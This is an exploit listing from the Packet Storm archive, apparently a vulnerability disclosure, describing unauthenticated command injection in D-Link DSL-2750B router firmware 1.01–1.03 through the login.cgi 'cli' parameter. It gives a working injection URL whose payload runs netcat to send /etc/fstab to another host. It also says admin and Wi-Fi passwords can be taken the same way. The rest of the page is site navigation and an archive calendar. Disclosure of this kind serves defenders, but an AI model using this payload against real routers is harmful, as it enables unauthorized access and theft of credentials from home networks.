exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

D-Link DSL-2750B Remote Command Execution

D-Link DSL-2750B Remote Command Execution
Posted Feb 11, 2016
Authored by p

D-Link DSL-2750B firmware versions 1.01 through 1.03 suffer from an unauthenticated remote code execution vulnerability.

tags | exploit, remote, code execution
SHA-256 | c531b27d0dbe64804e2588a1796bd7c1c0844a6c84a1427541b9fe1efa394843

D-Link DSL-2750B Remote Command Execution

Change Mirror Download
After some playing around I've noticed something interesting during
login phase: by sending wrong credentials, user is redirected on an
error page with url

http://192.168.1.1:666/login.cgi?cli=access%20login%20encrypted%2041544A25DC00170BA90659AD4CBDD9D9$

http://imgur.com/ZG1vU2t

In order to see what's happening we must start the web server with the
debug output enabled:

httpd -o -p 666 -m -1 -v 5

and try again to login with wrong credentials.

http://imgur.com/tepy3XD

Arguments of "cli" parameter are passed directly to a binary that will
execute that particular given command; the complete list of commands
available are inside "/etc/ayecli/ayecli.cli" file. (among them there's
a creepy "system halt" that will shutdown the router no matter what).

Arguments are passed in a way that

ayecli -c 'command-here' so

the way to escape is to close, add a command and close again to
neutralize "$" substitution with ' :

ayecli -c 'command';injection''
that is:

http://192.168.1.1/login.cgi?cli=multilingual%20show%27;nc%20192.168.1.8%20666%20%3C%2fetc%2ffstab%27$

http://imgur.com/nLFnWeo

it's also possible to retrieve admin password, wifi passphrase etc

cheers,
p@ql

thanks to ps and fp


Login or Register to add favorites

File Archive:

August 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    20 Files
  • 2
    Aug 2nd
    4 Files
  • 3
    Aug 3rd
    6 Files
  • 4
    Aug 4th
    55 Files
  • 5
    Aug 5th
    16 Files
  • 6
    Aug 6th
    0 Files
  • 7
    Aug 7th
    0 Files
  • 8
    Aug 8th
    0 Files
  • 9
    Aug 9th
    0 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close